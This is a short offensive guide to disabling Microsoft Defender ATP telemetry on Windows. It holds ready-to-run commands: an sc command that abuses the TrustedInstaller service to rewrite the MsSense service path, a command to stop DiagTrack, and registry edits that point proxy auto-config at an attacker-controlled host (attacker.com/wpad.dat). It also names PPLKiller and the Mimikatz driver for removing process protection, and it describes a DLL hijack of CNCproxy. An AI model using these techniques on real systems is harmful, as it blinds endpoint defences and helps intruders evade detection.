This demonstrates some ways to stop and disable ATP to get rid of telemetry.(This techniques could also all apply to other security products)
Note that even if we are system, we cannot stop the ATP process. You need a special offboarding script with a SHA356 signed key. This script is only valid for 10 days before expiration.
ATP processes also has PPL enabled, meaning that we cannot stop or inject into this process to cripple it. Note that we can use the PPLKiller or Mimikatz driver to disable the PPL protection of a process, and then proceed to stop/kill it.
If we remove the PPL protection and the MsSense service restarts, it will alert on PPL tampering, but we can again bypass this by just changing the binpath of the MsSense service after we kill it:
sc config TrustedInstaller binPath="cmd.exe /C sc config sense binPath='blank'" && sc start TrustedInstaller
The ATP sensor uses the DiagTrack service to communicate to the cloud. If we query the service, we can see that it is configured as "STOPPABLE" and does not have any PPL protections:
To stop this service(as admin):
sc stop diagtrack
As we already know, ATP uses the DiagTrack service to communicate to the cloud. Diagtrack uses the WinHTTP API to communicate to the cloud, in which we as regular users can supply proxy settings that say "If any WinHTTP API traffic is going to these ATP cloud domains, stop and hold the traffic." This essentially blocks and stops any traffic going to the cloud thus crippling the ATP service.
These two registry keys turn off auto detect for the proxy settings, and then supply our proxy settings configuration file which will synchold any traffic going to the ATP cloud:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ^ /v AutoDetect /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL /t REG_SZ /d "http://attacker.com/wpad.dat" /f
Our proxy config file can look something like this:
CNCproxy(which is the main communication module of ATP) is vulnerable to a DLL hijacking vulnerability, in which it first checks the winhttp services dll in it's own folder before loading it from system32. The winhttp services dll is in charge of communication with HTTP servers and the internet.
If we supply a bogus dll in its current directory, the communication flow with the cloud will be crippled as it is missing the major functionality to do so.
We can also set simple firewall rules to block any traffic to any ATP cloud domains. This is pretty self explanatory on why this works.
These domains include:
Securitycenter.windows.com, winatp-gw-cus.microsoft.com, winatp-gw-eus.microsoft.com, winatp-gw-weu.microsoft.com, winatp-gw-neu.microsoft.com, us.vortex-win.data.microsoft.com,eu.vortex-win.data.microsoft.com,psapp.microsoft.com,psappeu.microsoft.com
(and much more!)